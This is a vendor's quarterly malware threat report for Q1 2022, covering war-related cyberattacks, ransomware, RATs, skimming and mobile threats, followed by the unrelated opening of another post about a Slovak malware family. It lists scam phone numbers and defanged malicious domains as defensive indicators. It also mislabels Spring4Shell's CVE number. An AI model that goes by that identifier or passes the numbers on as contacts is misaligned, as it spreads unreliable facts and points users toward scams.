Cyberwarfare between Ukraine and Russia

Foreword

The first quarter of 2022 is over, so we are here again to share insights into the threat landscape and what we’ve seen in the wild. Under normal circumstances, I would probably highlight mobile spyware related to the Beijing 2022 Winter Olympics, yet another critical Java vulnerability (Spring4Shell), or perhaps how long it took malware authors to get back from their Winter holidays to their regular operations. Unfortunately, however, all of this was overshadowed by Russia’s war in Ukraine.

Similar to what’s happening in Ukraine, the warfare co-occurring in cyberspace is also very intensive, with a wide range of offensive arsenal in use. To name a few, we witnessed multiple Russia-attributed APT groups attacking Ukraine (using a series of wiping malware and ransomware, a massive uptick of Gamaredon APT toolkit activity, and satellite internet connections were disrupted). In addition, hacktivism, DDoS attacks on government sites, or data leaks are ongoing daily on all sides of the conflict. Furthermore, some of the malware authors and operators were directly affected by the war, such as the alleged death of the Raccoon Stealer leading developer, which resulted in (at least temporary) discontinuation of this particular threat. Additionally, some malware gangs have chosen the sides in this conflict and have started threatening the others. One such example is the Conti gang that promised ransomware retaliation for cyberattacks against Russia. You can find more details about this story in this report.

With all that said, it is hardly surprising to say that we’ve seen a significant increase of attacks of particular malware types in countries involved in this conflict in Q1/2022; for example, +50% of RAT attacks were blocked in Ukraine, Russia, and Belarus, +30% for botnets, and +20% for info stealers. To help the victims of these attacks, we developed and released multiple free ransomware decryption tools, including one for the HermeticRansom that we discovered in Ukraine just a few hours before the invasion started.

Out of the other malware-related Q1/2022 news: the groups behind Emotet and Trickbot appeared to be working closely together, resurrecting Trickbot infected computers by moving them under Emotet control and deprecating Trickbot afterward. Furthermore, this report describes massive info-stealing campaigns in Latin America, large adware campaigns in Japan, and technical support scams spreading in the US and Canada. Finally, again, the Lapsus$ hacking group emerged with breaches in big tech companies, including Microsoft, Nvidia, and Samsung, but hopefully also disappeared after multiple arrests of its members in March.

Last but not least, we’ve published our discovery of the latest Parrot Traffic Direction System (TDS) campaign that has emerged in recent months and is reaching users from around the world. This TDS has infected various web servers hosting more than 16,500 websites.

Stay safe and enjoy reading this report.

Jakub Křoustek, Malware Research Director

Methodology

This report is structured into two main sections – Desktop-related threats, informing about our intelligence on attacks targeting Windows, Linux, and macOS, and Mobile-related threats, where we advise about Android and iOS attacks.

Furthermore, we use the term risk ratio in this report to describe the severity of particular threats, calculated as a monthly average of “Number of attacked users / Number of active users in a given country.” Unless stated otherwise, calculated risks are only available for countries with more than 10,000 active users per month.

Desktop-Related Threats

Advanced Persistent Threats (APTs)

In March, we wrote about an APT campaign targeting betting companies in Taiwan, the Philippines, and Hong Kong that we called Operation Dragon Castling. The attacker, a Chinese-speaking group, leveraged two different ways to gain a foothold in the targeted devices – an infected installer sent in a phishing email and a newly identified vulnerability in the WPS Office updater (CVE-2022-24934). After successful infection, the malware used a diverse set of plugins to achieve privilege escalation, persistence, keylogging, and backdoor access.

Furthermore, on February 23rd, a day before Russia started its invasion of Ukraine, ESET tweeted that they discovered a new data wiper called HermeticWiper. The attacker’s motivation was to destroy and maximize damage to the infected system. It’s not just disrupting the MBR but also destroying a filesystem and individual files. Shortly after that, we at Avast discovered a related piece of ransomware that we called HermeticRansom. You can find more on this topic in the Ransomware section below. These attacks are believed to have been carried out by Russian APT groups.  

Continuing this subject, Gamaredon is known as the most active Russia-backed APT group targeting Ukraine. We see the standard high level of activity of this APT group in Ukraine which accelerated rapidly since the beginning of the Russian invasion at the end of February when the number of their attacks grew several times over.

We also noticed an increase in Korplug activity which expanded its focus from the more usual south Asian countries such as Myanmar, Vietnam, or Thailand to Papua New Guinea and Africa. The most affected African countries are Ghana, Uganda and Nigeria. As Korplug is commonly attributed to Chinese APT groups, this new expansion aligns with their long-term interest in countries involved in China’s Belt and Road initiative.

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher
Jan Holman, Malware Researcher

Adware

Desktop adware has become more aggressive in Q4/21, and a similar trend persists in Q1/22, as the graph below illustrates:

On the other hand, there are some interesting phenomena in Q1/22. Firstly, Japan’s proportion of adware activity has increased significantly in February and March; see the graph below. There is also an interesting correlation with Emotet hitting Japanese inboxes in the same period.

On the contrary, the situation in Ukraine led to a decrease in the adware activity in March; see the graph below showing the adware activity in Ukraine in Q1/22.

Finally, another interesting observation concerns adware activity in major European countries such as France, Germany, and the United Kingdom. The graph below shows increased activity in these countries in March, deviating from the trend of Q1/22.

Concerning the top strains, most of 64% of adware was from various adware families. However, the first clearly identified family is RelevantKnowledge, although so far with a low prevalence (5%) but with a +97% increase compared to Q4/21. Other identified strains in percentage units are ICLoader, Neoreklami, DownloadAssistant, and Conduit.

As mentioned above, the adware activity has a similar trend as in Q4/21. Therefore the risk ratios remained the same. The most affected regions are still Africa and Asia. About Q1/22 data, we monitored an increase of protected users in Japan (+209%) and France (+87%) compared with Q4/21. On the other hand, a decrease was observed in the Russian Federation (-51%) and Ukraine (-50%).

Adware risk ratio in Q1/22.

Martin Chlumecký, Malware Researcher

Bots

It seems that we are on a rollercoaster with Emotet and Trickbot. Last year, we went through Emotet takedown and its resurrection via Trickbot. This quarter, shutdowns of Trickbot’s infrastructure and Conti’s internal communication leaks indicate that Trickbot has finished its swan song. Its developers were supposedly moved to other Conti projects, possibly also with BazarLoader as Conti’s new product. Emotet also introduced a few changes – we’ve seen a much higher cadence of new, unique configurations. We’ve also seen a new configuration timestamp in the log “20220404”, interestingly seen on 24th March, instead of the one we’ve been accustomed to seeing (“20211114”).

There has been a new-ish trend coming with the advent of the war in Ukraine. Simple Javascript code has been used to create requests to (mostly) Russian web pages – ranging from media to businesses to banks. The code was accompanied by a text denouncing Russian aggression in Ukraine in multiple languages. The code has quickly spread around the internet into different variations, such as a variant of open-sourced game 2048. Unfortunately, we’ve started to see webpages that incorporated that code without even declaring it so it could even happen that your computer would participate in those actions while you were checking the weather on the internet. While these could remind us of Anonymous DDoS operations and LOIC (open-source stress tool Low Orbit Ion Cannon), these pages were much more accessible to the public using their browser only with (mostly) predetermined lists of targets. Nearing the end of March, we saw a significant decline in their popularity, both in terms of prevalence and the appearance of new variants.

The rest of the landscape does not bring many surprises. We’ve seen a significant risk increase in Russia (~30%) and Ukraine (~15%); those shouldn’t be much of a surprise, though, for the latter, it mostly does not project much into the number of affected clients.

In terms of numbers, the most prevalent strain was Emotet which doubled its market share since last quarter. Since the previous quarter, most of the other top strains slightly declined their prevalence. The most common strains we are seeing are:

• Emotet
• Amadey
• Phorpiex
• MyloBot
• Nitol
• MyKings
• Dorkbot
• Tofsee
• Qakbot

Adolf Středa, Malware Researcher

Coinminers

Coincidently, as the cryptocurrency prices are somewhat stable these days, the same goes for the malicious coinmining activity in our user base.

In comparison with the previous quarter, crypto-mining threat actors increased their focus on Taiwan (+69%), Chile (+63%), Thailand (+61%), Malawi (+58%), and France (+58%). This is mainly caused by the continuous and increasing trend of using various web miners executing javascript code in the victim’s browser. On the other hand, the risk of getting infected significantly dropped in Denmark (-56%) and Finland (-50%).

The most common coinminers in Q1/22 were:

• XMRig
• NeoScrypt
• CoinBitMiner
• CoinHelper

Jan Rubín, Malware Researcher

Information Stealers

The activities of Information Stealers haven’t significantly changed in Q1/22 compared to Q4/21. FormBook, AgentTesla, and RedLine remain the most prevalent stealers; in combination, they are accountable for 50% of the hits within the category. 

We noticed the regional distribution has completely shifted compared to the previous quarter. In Q4/21, Singapore, Yemen, Turkey, and Serbia were the countries most affected by information stealers; in Q1/22, Russia, Brazil, and Argentina rose to the top tier after the increases in risk ratio by 27% (RU), 21% (BR), and 23% (AR) compared to the previous quarter.

Not only a popular destination for information stealers, Latin America also houses many regional-specific stealers capable of compromising victims’ banking accounts. As the underground hacking culture continues to develop in Brazil, these threat groups target their fellow citizens for financial purposes. In Brazil, Ousaban and Chaes pose the most significant threats with more than 100k and 70k hits. In Mexico in Q1/22, we observed more than 34k hits from Casbaneiro. A typical pattern shared between these groups is the multiple-stage delivery chain utilizing scripting languages to download and deploy the next stage’s payload while employing DLL sideloading techniques to execute the final stage.

Furthermore, Raccoon Stealer, an information stealer with Russian origins, significantly decreased in activity since March. Further investigation uncovered messages on Russian underground forums advising that the Raccoon group is not working anymore. A few days after the messages were posted, a Raccoon representative said one of their members died in the Ukrainian War – they have paused operations and plan to return in a few months with a new product.

Next, a macOS malware dubbed DazzleSpy was found using watering hole attacks targeting Chinese pro-democracy sympathizers; it was primarily active in Asia. This backdoor can control macOS remotely, execute arbitrary commands, and download and upload files to attackers, thus enabling keychain stealing, key-logging, and potential screen capture.

Last but not least, more malware that natively runs on M1 Apple chips (and Intel hardware) has been found. The malware family, SysJoker, targets all desktop platforms (Linux, Windows, and macOS); the backdoor is controlled remotely and allows downloading other payloads and executing remote commands.

Anh Ho, Malware Researcher
Igor Morgenstern, Malware Researcher
Vladimir Martyanov, Malware Researcher
Vladimír Žalud, Malware Analyst

Ransomware

We’ve previously reported a decline in the total number of ransomware attacks in Q4/21. In Q1/22, this trend continued with a further slight decrease. As can be seen on the following graph, there was a drop at the beginning of 2022; the number of ransomware attacks has since stabilized.

We believe there are multiple reasons for these recent declines – such as the geopolitical situation (discussed shortly) and the continuation of the trend of ransomware gangs focusing more on targeted attacks on big targets (big game hunting) rather than on regular users via the spray and pray techniques. In other words, ransomware is still a significant threat, but the attackers have slightly changed their targets and tactics. As you will see in the rest of this section, the total numbers are lower, but there was a lot ongoing regarding ransomware in Q1.

Based on our telemetry, the distribution of targeted countries is similar to Q4/21 with some Q/Q shifts, such as Mexico (+120% risk ratio), Japan (+37%), and India (+34%).

The most (un)popular ransomware strains – STOP and WannaCry – kept their position at the top. Operators of the STOP ransomware keep releasing new variants, and the same applies for the CrySiS ransomware. In both cases, the ransomware code hasn’t considerably evolved, so a new variant merely means a new extension of encrypted files, different contact e-mail and a different public RSA key.

The most prevalent ransomware strains in Q1/22:

• WannaCry
• STOP
• VirLock
• GlobeImposter
• Makop

Out of the groups primarily focused on targeted attacks, the most active ones based on our telemetry were LockBit, Conti, and Hive. The BlackCat (aka ALPHV) ransomware was also on the rise. The LockBit group boosted their presence and also their egos, as demonstrated by their claim that they will pay any FBI agent that reveals their location a bounty of $1M. Later, they expanded that offer to any person on the planet.

You may also recall Sodinokibi (aka REvil), which is regularly mentioned in our threat reports. There is always something interesting around this ransomware strain and its operators with ties to Russia. In our Q4/21 Threat Report we informed about the arrests of some of its operators by Russian authorities. Indeed, this resulted in Sodinokibi almost vanishing from the threat landscape in Q1/2022. However, the situation got messy at the very end of Q1/2022 and early in April as new Sodinokibi indicators started appearing, including the publishing of new leaks from ransomed companies and malware samples. It is not yet clear whether this is a comeback, an imposter operation, reused Sodinokibi sources or infrastructure, or even their combination by multiple groups. Our gut feeling is that Sodinokibi will be a topic in the Q2/22 Threat Report once again.

Russian ransomware affiliates are a never-ending story. E.g. we can mention an interesting public exposure of a criminal dubbed Wazawaka with ties to Babuk, DarkSide, and other ransomware gangs in February. In a series of drunk videos and tweets he revealed much more than his missing finger.

The Russian invasion and following war on Ukraine, the most terrible event in Q1/22, had its counterpart in cyber-space. Just one day before the invasion, several cyber attacks were detected. Shortly after the discovery of HermeticWiper malware by ESET, Avast also discovered ransomware attacking Ukrainian targets. We dubbed it HermeticRansom. Shortly after, a flaw in the ransomware was found by CrowdStrike analysts. We acted swiftly and released a free decryptor to help victims in Ukraine. Furthermore, the war impacted ransomware attacks, as some of the ransomware authors and affiliates are from Ukraine and likely have been unable to carry out their operations due to the war.

And the cyber-war went on, together with the real one. A day after the start of the invasion, the Conti ransomware gang claimed its allegiance and threatened anyone who was considering organizing a cyber-attack or war activities against Russia:

As a reaction, a Ukrainian researcher started publishing internal files of the Conti gang, including Jabber conversations and the source code of the Conti ransomware itself. However, no significant amount of encryption keys were leaked. Also, the sources that were published were older versions of the Conti ransomware, which no longer correspond to the layout of the encrypted files that are created by today’s version of the ransomware. The leaked files and internal communications provide valuable insight into this large cybercrime organization, and also temporarily slowed down their operations.

Among the other consequences of the Conti leak, the published source codes were soon used by the NB65 hacking group. This gang declared a karmic war on Russia and used one of the modified sources of the Conti ransomware to attack Russian targets.

Furthermore, in February, members of historically one of the most active (and successful) ransomware groups, Maze, announced a shut-down of their operation. They published master decryption keys for their ransomware strains Maze, Egregor, and Sekhmet; four archive files were published that contained:

• 19 private RSA-2048 keys for Egregor ransomware. Egregor uses a three-key encryption schema (Master RSA Key → Victim RSA Key → Per-file Key).
• 30 private RSA-2048 keys (plus 9 from old version) for Maze ransomware. Maze also uses a three-key encryption scheme.
• A single private RSA-2048 key for Sekhmet ransomware. Because this strain uses this RSA key to encrypt the per-file key, the RSA private key is likely campaign specific.
• A source code for the M0yv x86/x64 file infector, that was used by Maze operators in the past.

Next, an unpleasant turn of events happened after we released a decryptor for the TargetCompany ransomware in February. This immediately helped multiple ransomware victims; however, two weeks later, we discovered a new variant of TargetComany that started using the ”.avast” extension for encrypted files. Shortly after, the malware authors changed the encryption algorithm, so our free decryption tool does not decrypt the most recent variant.

On the bright side, we also analyzed multiple variants of the Prometheus ransomware and released a free decryptor. This one covers all decryptable variants of the ransomware strain, even the latest ones.

Jakub Křoustek, Malware Research Director
Ladislav Zezula, Malware Researcher

Remote Access Trojans (RATs)

New year, new me RAT campaigns. As mentioned in the Q4/21 report, the RAT activity downward trend will be just temporary; the reality was a textbook example of this claim. Even malicious actors took holidays at the beginning of the new year and then returned to work.

In the graph below, we can see a Q4/21 vs. Q1/22 comparison of RAT activity:

This quarter’s countries most affected were China, Tajikistan, Kyrgyzstan, Iraq, Kazakhstan, and Russia. Kazakhstan will be mentioned later on with the emergence of a new RAT. We also detected a high Q/Q increase in the risk ratio in countries involved in the ongoing war: Ukraine (+54%), Russia (+53%), and Belarus (+46%).

In this quarter, we spotted a new campaign distributing several RATs, reaching thousands of users, mainly in Italy (1,900), Romania (1,100), and Bulgaria (950). The campaign leverages a Crypter (a crypter is a specific tool used by malware authors for obfuscation and protection of the target payload), which we call Rattler, that ensures a distribution of arbitrary malware onto the victim’s PC. Currently, the crypter primarily distributes remote access trojans, focusing on Warzone, Remcos, and NetWire. Warzone’s main targeting campaigns also seemed to change during the past three months. In January and February, we received a considerable amount of detections from Russia and Ukraine. Still, this trend reversed in March, with decreased detections in these two countries and a significant increase in Spain, indicating a new malicious campaign.

Most prevalent RATs in Q1 were:

• njRAT
• Warzone
• Remcos
• AsyncRat
• NanoCore
• NetWire
• QuasarRAT
• PoisionIvy
• Adwind
• Orcus

Among malicious families with the highest increase in detections were Lilith, LuminosityLink, and Gh0stCringe. One of the reasons for the Gh0stCringe increase is a malicious campaign in which this RAT spread on poorly protected MySQL and Microsoft SQL database servers. We have also witnessed a change in the first two places of the most prevalent RATs. In Q4/21, the most pervasive was Warzone which declined this quarter by 23%. The njRat family, on the other hand, increased by 32%, and what was surprising, Adwind entered into the top 10.

Except for the usual malicious campaigns, this quarter was different. There were two significant causes for this. The first was a Lapsus$ hacking and leaking spree, and the other was the war with Ukraine.

The hacking group Lapsus$ targeted many prominent technology companies like Nvidia, Samsung, and Microsoft. For example, in the NVIDIA Lapsus$ case, this hacking group stole about 1TB of NVIDIA’s data and then commenced to leak it. The leaked data contained binary signing certificates, which were later used for signing malicious binaries. Among such signed malware was, for example, the Quasar RAT.

Then there was the conflict in Ukraine, which showed the power of information technology and the importance of cyber security – because the fight happens not only on the battlefield but also in cyberspace, with DDOS attacks, data-stealing, exploitation, cyber espionage, and other techniques. But except for these countries involved in the war, everyday people looking for information are easy targets of malicious campaigns. One such campaign involved sending email messages with attached office documents that allegedly contained important information about the war. Unfortunately, these documents were just a way to infect people with Remcos RAT with the help of Microsoft Word RCE vulnerability CVE-2017-11882, thanks to which the attacker could easily infect unpatched systems.

As always, not only old known RATs showed up. This quarter brought us a few new ones as well. The first addition to our RAT list was IceBot. This RAT seems to be a creation of the APT group FIN7; it contains all usual basic capabilities as other RATs like taking screenshots, remote code execution, file transfer, and detection of installed AV.

Another one is Hodur. This RAT is a variant of PlugX (also known as Korplug), associated with Chinese APT organizations. Hodur differed, using a different encoding, configuration capabilities, and  C&C commands. This RAT allows attackers to log keystrokes, manipulate files, fingerprint the system and more.

We mentioned that Kazakhstan is connected to a new RAT on this list. That RAT is called Borat RAT. The name is taken from the popular comedy film Borat where the main character Borat Sagdijev, performed by actor Sacha Baron Cohen, was presented as a Kazakh visiting the USA. Did you know that in reality the part of the film that should represent living in Kazakhstan village wasn’t even filmed there but in the Romanian village of Glod?

This RAT is a .NET binary and uses simple source-code obfuscation. The Borat RAT was initially discovered on hacking forums and contains many capabilities. Some features include triggering BSOD, anti-sandbox, anti-VM, password stealing, web-cam spying, file manipulation and more. As well as these baked-in features, it enables extensive module functionality. These modules are DLLs that are downloaded on demand, allowing the attackers to add multiple new capabilities. The list of currently available modules contains files “Ransomware.dll” used for encrypting files, “Discord.dll” for stealing Discord tokens, and many more.

Here you can see an example of the Borat RAT admin panel. 

We also noticed that the volume of Python compiled and Go programming language ELF binaries for Linux increased this quarter. The threat actors used open source RAT projects (i.e. Bring Your Own Botnet or Ares) and legitimate services (e.g. Onion.pet, termbin.com or Discord) to compromise systems. We were also one of the first to protect users against Backdoorit and Caligula RATs; both of these malware families were written in Go and captured in the wild by our honeypots.

Samuel Sidor, Malware Researcher
Jan Rubín, Malware Researcher
David Àlvarez, Malware Researcher

Rootkits

In Q1/22,  rootkit activity was reduced compared to the previous quarter, returning to the long-term value, as illustrated in the chart below.

The close-up view of Q1/22 demonstrates that January and February have been more active than the March period.

We have monitored various rootkit strains in Q1/22. However, we have identified that approx. 37% of rootkit activity is r77-Rootkit (R77RK) developed by bytecode77 as an open-source project under the BSD license. The rootkit operates in Ring 3 compared to the usual rootkits that work in Ring 0. R77RK is a configurable tool hiding files, directories, scheduled tasks, processes, services, connections, etc. The tool is compatible with Windows 7 and Windows 10. The consequence is that R77RK was captured with several different types of malware as a supporting library for malware that needs to hide malicious activity.

The graph below shows that China is still the most at-risk country in terms of protected users. Moreover, the risk in China has increased by about +58%, although total rootkit activity has been orders of magnitude lower compared to Q4/21. This phenomenon is caused by the absence of the Cerbu rootkit that was spread worldwide, so the main rootkit activity has moved back to China. Namely, the decrease in the rootkit activity has been observed in the countries as follows: Vietnam, Thailand, the Czech Republic, and Egypt.

In summary, the situation around the rootkit activity seems calmer compared to Q4/21, and China is still the most affected country in Q1/22. Noteworthy, the war in Ukraine has not increased the rootkit activity. Numerous malware authors have started using open-source solutions of rootkits, although these are very well detectable.

Martin Chlumecký, Malware Researcher

Technical support scams

After quite an active Q4/21 that overlapped with the beginning of Q1/22, technical support scams started to decline in inactivity. There were some small peaks of activity, but the significant wave of one particular campaign came at the end of Q1/22.

According to our data, the most targeted countries were the United States and Canada. However, we’ve seen instances of this campaign active even in other areas, like Europe, for example, France and Germany.

The distinctive sign of this campaign was the lack of a domain name and a specific path; this is illustrated in the following image.

During the beginning of March, we collected thousands of new unique domain-less URLs that have one significant and distinctive sign, their url path. After being redirected, an affected user loads a web page with a well-known recycled appearance, used in many previous technical support campaigns. In addition, several pop-up windows, the logo of well-known companies, antivirus-like messaging, cursor manipulation techniques, and even sounds are all there for one simple reason: a phone call to the phone number shown.

More than twenty different phone numbers have been used. Examples of such numbers can be seen in the following table:

1-888-828-5604
1-888-200-5532
1-877-203-5120
1-888-770-6555
1-855-433-4454
1-833-576-2199
1-877-203-9046
1-888-201-5037
1-866-400-0067
1-888-203-4992

Alexej Savčin, Malware Analyst

Traffic Direction System (TDS)

A new Traffic Direction System (TDS) we are calling Parrot TDS was very active throughout Q1/2022. The TDS has infected various web servers hosting more than 16,500 websites, ranging from adult content sites, personal websites, university sites, and local government sites.

Parrot TDS acts as a gateway for other malicious campaigns to reach potential victims. In this particular case, the infected sites’ appearances are altered by a campaign called FakeUpdate (also known as SocGholish), which uses JavaScript to display fake notices for users to update their browser, offering an update file for download. The file observed being delivered to victims is a remote access tool.

From March 1, 2022, to March 29, 2022, we protected more than 600,000 unique users from around the globe from visiting these infected sites. We protected the most in Brazil – over  73,000 individual users, in India – nearly 55,000 unique users, and more than 31,000 unique users from the US.

Jan Rubín, Malware Researcher
Pavel Novák, Threat Operations Analyst

Vulnerabilities and Exploits

Spring in Europe has had quite a few surprises for us, one of them being a vulnerability in a Java framework called, ironically, Spring. The vulnerability is called Spring4Shell (CVE-2022-22963), mimicking the name of last year’s Log4Shell vulnerability. Similarly to Log4Shell, Spring4Shell leads to remote code execution (RCE). Under specific conditions, it is possible to bind HTTP request parameters to Java objects. While there is a logic protecting classLoader from being used, it was not foolproof, which led to this vulnerability. Fortunately, the vulnerability requires a non-default configuration, and a patch is already available.

The Linux kernel had its share of vulnerabilities; a vulnerability was found in pipes, which usually provide unidirectional interprocess communication, that can be exploited for local privilege escalation. The vulnerability was dubbed Dirty Pipe (CVE-2022-0847). It relies on the usage of partially uninitialized memory of the pipe buffer during its construction, leading to an incorrect value of flags, potentially providing write-access to pages in the cache that were originally marked with a read-only attribute. The vulnerability is already patched in the latest kernel versions and has already been fixed in most mainstream Linux distributions.

First described by Trend Micro researchers in 2019, the SLUB malware is a highly targeted and sophisticated backdoor/RAT spread via browser exploits. Now, three years later, we detected its new exploitation attack, which took place in Japan and targeted an outdated Internet Explorer.

The initial exploit injects into winlogon.exe, which will, in turn, download and execute the final stage payload. The final stage did not change much since the initial report, and it still uses Slack as a C&C server but now uses file[.]io for data exfiltration.

This is an excellent example that old threats never really go away; they often continue to evolve and pose a threat.

Adolf Středa, Malware Researcher
Jan Vojtěšek, Malware Reseracher

Mikrotik CVEs keep giving

It’s been almost four years since the very severe vulnerability CVE-2018-14847 targeting MikroTik devices first appeared. What seemed to be yet another directory traversal bug quickly escalated into user database and password leaks, resulting in a potentially disastrous vulnerability ready to be misused by cybercriminals. Unfortunately, the simplicity of exploiting and wide adoption of these devices and powerful features provided a solid foundation for various malicious campaigns being executed using these devices. It first started with injecting crypto mining javascript into pages script by capturing the traffic, poisoning the DNS cache, and incorporating these devices into botnets for DDoS and proxy purposes.  

Unfortunately, these campaigns come in waves, and we still observe MikroTik devices being misused repeatedly. In Q1/22, we’ve seen a lot of exciting twists and turns, the most prominent of which was probably the Conti group leaks which also shed light on the TrickBot botnet. For quite some time, we knew that TrickBot abused MikroTik devices as proxy servers to hide the next tier of their C&C. The leaking of Conti and Trickbot infrastructure meant the end of this botnet. However, it also provided us clues and information about one of the vastest botnets as a service operation connecting Glupteba, Meris, crypto mining campaigns, and, perhaps also, TrickBot. We are talking about 230K devices controlled by one threat actor and rented out as a service. You can find more in our research Mēris and TrickBot standing on the shoulders of giants. 

A few days before we published our research in March, a new story emerged describing the DDoS campaign most likely tied to the Sodinokibi ransomware group. Unsurprisingly most of the attacking devices were MikroTik again. A few days ago, we were contacted by security researchers from SecurityScoreCard. They have observed another DDoS botnet called Zhadnost targeting Ukrainian institutions and again using MikroTik devices as an amplification vector. This time, they were mainly misusing DNS amplification vulnerabilities. 

We also saw one compelling instance of a network security incident potentially involving MikroTik routers. In the infamous cyberattack on February 24th against the Viasat KA-SAT service, attackers penetrated the management segment of the network and wiped firmware from client terminal devices.

The incident surfaced more prominently after the cyberattack paralyzed 11 gigawatts of German wind turbine production as a probable spill-over from the KA-SAT issue. The connectivity for turbines is provided by EuroSkyPark, one of the satellite internet providers using the KA-SAT network.

When we analyzed ASN AS208484, an autonomous system assigned to EuroSkyPark, we found 15 MikroTik devices with exposed TCP port 8728, which is used for API access to administer the devices. Also of concern, one of the devices had a port for an infamously vulnerable WinBox protocol port exposed to the Internet. As of now, all mentioned ports are closed and no longer accessible.

We also found SSH access remapped to non-standard ports such as 9992 or 9993. This is not typically common practice and may also indicate compromise. Attackers have been known to remap the ports of standard services (such as SSH) to make it harder to detect or even for the device owner to manage. However, this could also be configured deliberately for the same reason: to hide SSH access from plain sight.

From all the above, it’s apparent that we can expect to see similar patterns and DDoS attacks carried not only by MikroTik devices but also by other vulnerable IoT devices in the foreseeable future. On a positive note, the number of MikroTik devices vulnerable to the most commonly misused CVEs is slowly decreasing as new versions of RouterOS (OS that powers the MikroTik appliances) are rolled out. Unfortunately, however, there are many devices already compromised, and without administrative intervention, they will continue to be used for malicious operations repeatedly. 

We strongly recommend that MikroTik administrators ensure they have updated and patched to protect themselves and others.  

If you are a researcher and you think you have seen MikroTik devices involved in some malicious activity, please consider contacting us if you need help or consultation; since 2018, we have built up a detailed understanding of these devices’ threat landscape.

Martin Hron, Malware Researcher

Web skimming

In Q1/22, the most prevalent web skimming malicious domain was naturalfreshmall[.]com, with more than 500 e-commerce sites infected. The domain itself is no longer active, but many websites are still trying to retrieve malicious content from it. Unfortunately, it means that administrators of these sites still have not removed malicious code and these sites are likely still vulnerable. Avast protected 44k users from this attack in the first quarter.

The heatmap below shows the most affected countries in Q1/22 – Saudi Arabia, Australia, Greece, and Brazil. Compared to Q4/21, Saudi Arabia, Australia and Greece stayed at the top, but in Brazil, we protected almost two times more users than in the previous quarter. However, multiple websites were infected in Brazil, some with the aforementioned domain naturalfreshmall[.]com. In addition, we tweeted about philco.com[.]br, which was infected with yoursafepayments[.]com/fonts.css. And last but not least, pernambucanas.com[.]br was also infected with malicious javascript hidden in the file require.js on their website.

Overall the number of protected users remains almost the same as in Q4/21.

Pavlína Kopecká, Malware Analyst

Mobile-Related Threats

Adware/HiddenAds

Adware maintains its dominance over the Android threat landscape, continuing the trend from previous years. Generally, the purpose of Adware is to display out-of-context advertisements to the device user, often in ways that severely impact the user experience. In Q1/22, HiddenAds, FakeAdblockers, and others have spread to many Android devices; these applications often display device-wide advertisements that overlay the user’s intended activity or limit the app’s functionality by displaying timed ads without the ability to skip them.

Adware comes in various configurations; one popular category is stealthy installation. Such apps share common features that make them difficult for the user to identify. Hiding their application's icon from the home screen is a common technique, and using blank application icons to mask their presence. The user may struggle to identify the source of the intrusive advertisements, especially if the applications have an in-built delay timer after which they display the ads. Another Adware tactic is to use in-app advertisements that are overly aggressive, sometimes to the extent that they make the original app’s intended functionality barely usable. This is common, especially in games, where timed ads are often shown after each completed level; frequently, the ad screen time greatly exceeds the time spent playing the game.

The Google Play Store has previously been used to distribute malware, but recently, actors behind these applications have changed tactics to use browser pop-up windows and notifications to spread the Adware. These are intended to trick users into downloading and installing the application, often disguised as games, ad blockers, or various utility tools. Therefore, we strongly recommend that users avoid installing applications from unknown sources and be on the lookout for malicious browser notifications.

According to our data, India, the Middle East, and South America are the most affected regions. But Adware is not strictly limited to these regions; it’s prevalent worldwide.

As can be seen from the graph below, Adware’s presence in the mobile sphere has remained dominant but relatively unchanged. Of course, there’s slight fluctuation during each quarter, but there have been no stand-out new strains of Adware as of late.

Bankers

In Q1/2022, some interesting shifts were observed in the banking malware category. With Cerberus/Alien and its clones still leading the scoreboard by far, the battle for second place has seen a jump, where Hydra replaced the previously significant threats posed by FluBot. Additionally, FluBot has been on the decline throughout Q1..

Different banker strains have been reported to use the same distribution channels and branding, which we can also confirm observing. Many banking threats now reuse the proven techniques of masquerading as delivery services, parcel tracking apps, or voicemail apps.

After the departure of FluBot from the scene, we observed an overall slight drop in the number of affected users, but this seems only to be returning to the numbers we’ve observed in the last year, just before FluBot took the stage.

Most targeted countries remain to be Turkey, Spain and Australia.

PremiumSMS/Subscription scams

While PremiumSMS/Subscription related threats may not be as prevalent as in the previous years, they are certainly not gone for good. As reported in the Q4/21 report, a new wave of premium subscription-related scams keeps popping up. Campaigns such as GriftHorse or UltimaSMS made their rounds last year, followed by yet another similar campaign dubbed DarkHerring. 

The main distribution channel for these seems to be Google Play, but they have also been observed being downloaded from alternative channels. Similar to before, this scam preys on the mobile operator’s subscription scheme, where an unsuspecting user is lured into giving out their phone number. The number is later used to register the victim to a premium subscription service. This can go undetected for a long time, causing the victim significant monetary loss due to the stealthiness of the subscription and hassle related to canceling such a subscription.

While the primary target of these campaigns seems to remain the same as in Q4/21 – targeting the Middle East, countries like Iraq, Jordan, but also Saudi Arabia, and Egypt – the scope has broadened and now includes various Asian countries as well – China, Malaysia and Vietnam amongst the riskiest ones.

As can be seen from the quarterly comparisons in the graph below, the spikes of activity of the respective campaigns are clear, with UltimaSMS and Grifthorse causing the spike in Q4/21. Darkherring is behind the Q1/22 spike.

Ransomware/Lockers

Ransomware apps and Lockers that target the Android ecosystem often attempt to ‘lock’ the user’s phone by disabling the navigation buttons and taking over the Android lock screen to prevent the user from interacting with the device and removing the malware. This is commonly accompanied by a ransom message requesting payment to the malware owner in exchange for unlocking the device.

Among the most prevalent Android Lockers seen in Q1/22 were Jisut, Pornlocker, and Congur. These are notorious for being difficult to remove and, in some cases, may require a factory reset of the phone. Some versions of lockers may even attempt to encrypt the user’s files; however, this is not frequently seen due to the complexity of encrypting files on Android devices.

The threat actors responsible for this malware generally rely on spreading through the use of third party app stores, game cheats, and adult content applications.

A common infection technique is to lure users through popular internet themes and topics – we strongly recommend that users avoid attempting to download game hacks and mods and ensure that they use reputable websites and official app stores.

In Q1/22, we’ve seen spikes in this category, mainly related to the Pornlocker family – apps masquerading as adult content providers – and were predominantly targeting users in Russia.

In the graph above, we can see the spike caused by the Pornlocker family in Q1/22.

Ondřej David, Malware Analysis Team Lead
Jakub Vávra, Malware Analyst

Acknowledgements / Credits

The post Avast Q1/2022 Threat Report appeared first on Avast Threat Labs.

Research of this malware family began when I found a malicious task starting powershell code directly from a registry key within our user base.  I wasn’t expecting the surprise I’d arrived at when I began tracking its origins. Living in a smaller country, Czech Republic, it is a rare sight to see someone exclusively targeting the local Czech/Slovak audience. The threat actor seems to have been creating malware since 2015 and appears to be from Slovakia. The bad actor’s repertoire contains a few RATs, some packers for cryptominers and, almost obligatorily, ransomware, and I have named the malware family Certishell. This person’s malware is spread with illegal copies of songs and movies and with alleged cracks and keygens of games and common tools (GTA SA, Mafia, Avast, Microsoft Office) that were hosted on one of the most popular Czech and Slovak file-sharing services uloz.to.

